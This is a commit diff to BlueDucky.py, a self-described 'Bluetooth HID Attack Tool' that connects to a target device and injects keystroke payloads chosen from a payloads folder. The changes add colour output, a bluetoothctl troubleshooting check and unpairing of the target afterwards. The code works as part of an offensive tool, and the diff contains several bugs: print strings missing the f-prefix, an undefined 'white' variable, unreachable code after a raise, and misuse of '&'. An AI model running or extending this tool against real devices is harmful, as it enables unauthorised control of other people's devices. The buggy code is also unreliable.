Updated BlueDucky.py
Added Bluetooth Debugging before UI is accessed, along with some other changes, and handling.
This commit is contained in:
parent
90a7850fe9
commit
2b9c4bd373
88
BlueDucky.py
88
BlueDucky.py
|
@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse
|
||||||
from multiprocessing import Process
|
from multiprocessing import Process
|
||||||
from pydbus import SystemBus
|
from pydbus import SystemBus
|
||||||
from enum import Enum
|
from enum import Enum
|
||||||
|
import subprocess
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
|
from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
|
||||||
|
@ -15,8 +16,6 @@ class AnsiColorCode:
|
||||||
GREEN = '\033[92m'
|
GREEN = '\033[92m'
|
||||||
YELLOW = '\033[93m'
|
YELLOW = '\033[93m'
|
||||||
BLUE = '\033[94m'
|
BLUE = '\033[94m'
|
||||||
MAGENTA = '\033[95m'
|
|
||||||
CYAN = '\033[96m'
|
|
||||||
WHITE = '\033[97m'
|
WHITE = '\033[97m'
|
||||||
RESET = '\033[0m'
|
RESET = '\033[0m'
|
||||||
|
|
||||||
|
@ -30,8 +29,8 @@ class ColorLogFormatter(logging.Formatter):
|
||||||
logging.INFO: AnsiColorCode.GREEN,
|
logging.INFO: AnsiColorCode.GREEN,
|
||||||
logging.WARNING: AnsiColorCode.YELLOW,
|
logging.WARNING: AnsiColorCode.YELLOW,
|
||||||
logging.ERROR: AnsiColorCode.RED,
|
logging.ERROR: AnsiColorCode.RED,
|
||||||
logging.CRITICAL: AnsiColorCode.MAGENTA,
|
logging.CRITICAL: AnsiColorCode.RED,
|
||||||
NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level
|
NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level
|
||||||
}
|
}
|
||||||
|
|
||||||
def format(self, record):
|
def format(self, record):
|
||||||
|
@ -268,9 +267,20 @@ class L2CAPClient:
|
||||||
self.connected = True
|
self.connected = True
|
||||||
log.debug("SUCCESS! connected on port %d" % self.port)
|
log.debug("SUCCESS! connected on port %d" % self.port)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
|
# Color Definition Again just to avoid errors I should've made a class for this.
|
||||||
|
red = "\033[91m"
|
||||||
|
blue = "\033[94m"
|
||||||
|
reset = "\033[0m"
|
||||||
|
|
||||||
|
error = True
|
||||||
self.connected = False
|
self.connected = False
|
||||||
log.error("ERROR connecting on port %d: %s" % (self.port, ex))
|
log.error("ERROR connecting on port %d: %s" % (self.port, ex))
|
||||||
raise ConnectionFailureException(f"Connection failure on port {self.port}")
|
raise ConnectionFailureException(f"Connection failure on port {self.port}")
|
||||||
|
if (error == True & self.port == 14):
|
||||||
|
print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.")
|
||||||
|
return self.connected
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
return self.connected
|
return self.connected
|
||||||
|
|
||||||
|
@ -595,6 +605,7 @@ def terminate_child_processes():
|
||||||
proc.terminate()
|
proc.terminate()
|
||||||
proc.join()
|
proc.join()
|
||||||
|
|
||||||
|
|
||||||
def setup_bluetooth(target_address, adapter_id):
|
def setup_bluetooth(target_address, adapter_id):
|
||||||
restart_bluetooth_daemon()
|
restart_bluetooth_daemon()
|
||||||
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
|
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
|
||||||
|
@ -626,8 +637,39 @@ def setup_and_connect(connection_manager, target_address, adapter_id):
|
||||||
establish_connections(connection_manager)
|
establish_connections(connection_manager)
|
||||||
return connection_manager.clients[19]
|
return connection_manager.clients[19]
|
||||||
|
|
||||||
|
def troubleshoot_bluetooth():
|
||||||
|
# Added this function to troubleshoot common issues before access to the application is granted
|
||||||
|
|
||||||
|
blue = "\033[0m"
|
||||||
|
red = "\033[91m"
|
||||||
|
reset = "\033[0m"
|
||||||
|
# Check if bluetoothctl is available
|
||||||
|
try:
|
||||||
|
subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE)
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Check for Bluetooth adapters
|
||||||
|
result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True)
|
||||||
|
if "Controller" not in result.stdout:
|
||||||
|
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# List devices to see if any are connected
|
||||||
|
result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True)
|
||||||
|
if "Device" not in result.stdout:
|
||||||
|
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# if no issues are found then continue
|
||||||
|
return True
|
||||||
|
|
||||||
# Main function
|
# Main function
|
||||||
def main():
|
def main():
|
||||||
|
blue = "\033[0m"
|
||||||
|
red = "\033[91m"
|
||||||
|
reset = "\033[0m"
|
||||||
parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool")
|
parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool")
|
||||||
parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)')
|
parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)')
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
@ -636,31 +678,38 @@ def main():
|
||||||
main_menu()
|
main_menu()
|
||||||
target_address = get_target_address()
|
target_address = get_target_address()
|
||||||
if not target_address:
|
if not target_address:
|
||||||
log.info("No target address provided. Exiting.")
|
log.info("No target address provided. Exiting..")
|
||||||
return
|
return
|
||||||
|
|
||||||
script_directory = os.path.dirname(os.path.realpath(__file__))
|
script_directory = os.path.dirname(os.path.realpath(__file__))
|
||||||
payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder.
|
payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder.
|
||||||
payloads = os.listdir(payload_folder)
|
payloads = os.listdir(payload_folder)
|
||||||
|
|
||||||
print("\nAvailable payloads:")
|
blue = "\033[0m"
|
||||||
|
red = "\033[91m"
|
||||||
|
reset = "\033[0m"
|
||||||
|
print(f"\nAvailable payloads{blue}:")
|
||||||
for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder.
|
for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder.
|
||||||
print(f"{idx}: {payload_file}")
|
print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}")
|
||||||
|
|
||||||
payload_choice = input("\nEnter the number of the payload you want to load: ")
|
blue = "\033[0m"
|
||||||
|
red = "\033[91m"
|
||||||
|
reset = "\033[0m"
|
||||||
|
payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{white}: {blue}")
|
||||||
selected_payload = None
|
selected_payload = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
payload_index = int(payload_choice) - 1
|
payload_index = int(payload_choice) - 1
|
||||||
selected_payload = os.path.join(payload_folder, payloads[payload_index])
|
selected_payload = os.path.join(payload_folder, payloads[payload_index])
|
||||||
except (ValueError, IndexError):
|
except (ValueError, IndexError):
|
||||||
print("Invalid payload choice. No payload selected.")
|
print(f"Invalid payload choice. No payload selected.")
|
||||||
|
|
||||||
if selected_payload is not None:
|
if selected_payload is not None:
|
||||||
print(f"Selected payload: {selected_payload}")
|
print(f"{blue}Selected payload{reset}: {blue}{selected_payload}")
|
||||||
duckyscript = read_duckyscript(selected_payload)
|
duckyscript = read_duckyscript(selected_payload)
|
||||||
else:
|
else:
|
||||||
print("No payload selected.")
|
print(f"{red}No payload selected.")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if not duckyscript:
|
if not duckyscript:
|
||||||
|
@ -680,20 +729,31 @@ def main():
|
||||||
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
|
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
break # Exit loop if successful
|
break # Exit loop if successful
|
||||||
|
|
||||||
except ReconnectionRequiredException as e:
|
except ReconnectionRequiredException as e:
|
||||||
log.info("Reconnection required. Attempting to reconnect...")
|
log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...")
|
||||||
current_line = e.current_line
|
current_line = e.current_line
|
||||||
current_position = e.current_position
|
current_position = e.current_position
|
||||||
connection_manager.close_all()
|
connection_manager.close_all()
|
||||||
# Sleep before retrying to avoid rapid reconnection attempts
|
# Sleep before retrying to avoid rapid reconnection attempts
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
|
|
||||||
#process_duckyscript(hid_interrupt_client, duckyscript)
|
finally:
|
||||||
|
# unpair the target device
|
||||||
|
blue = "\033[94m"
|
||||||
|
reset = "\033[0m"
|
||||||
|
|
||||||
|
command = f'echo -e "remove {target_address}\n" | bluetoothctl'
|
||||||
|
subprocess.run(command, shell=True)
|
||||||
|
print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}")
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
setup_logging()
|
setup_logging()
|
||||||
log = logging.getLogger(__name__)
|
log = logging.getLogger(__name__)
|
||||||
try:
|
try:
|
||||||
main()
|
if troubleshoot_bluetooth():
|
||||||
|
main()
|
||||||
|
else:
|
||||||
|
sys.exit(0)
|
||||||
finally:
|
finally:
|
||||||
terminate_child_processes()
|
terminate_child_processes()
|
||||||
|
|
Loading…
Reference in New Issue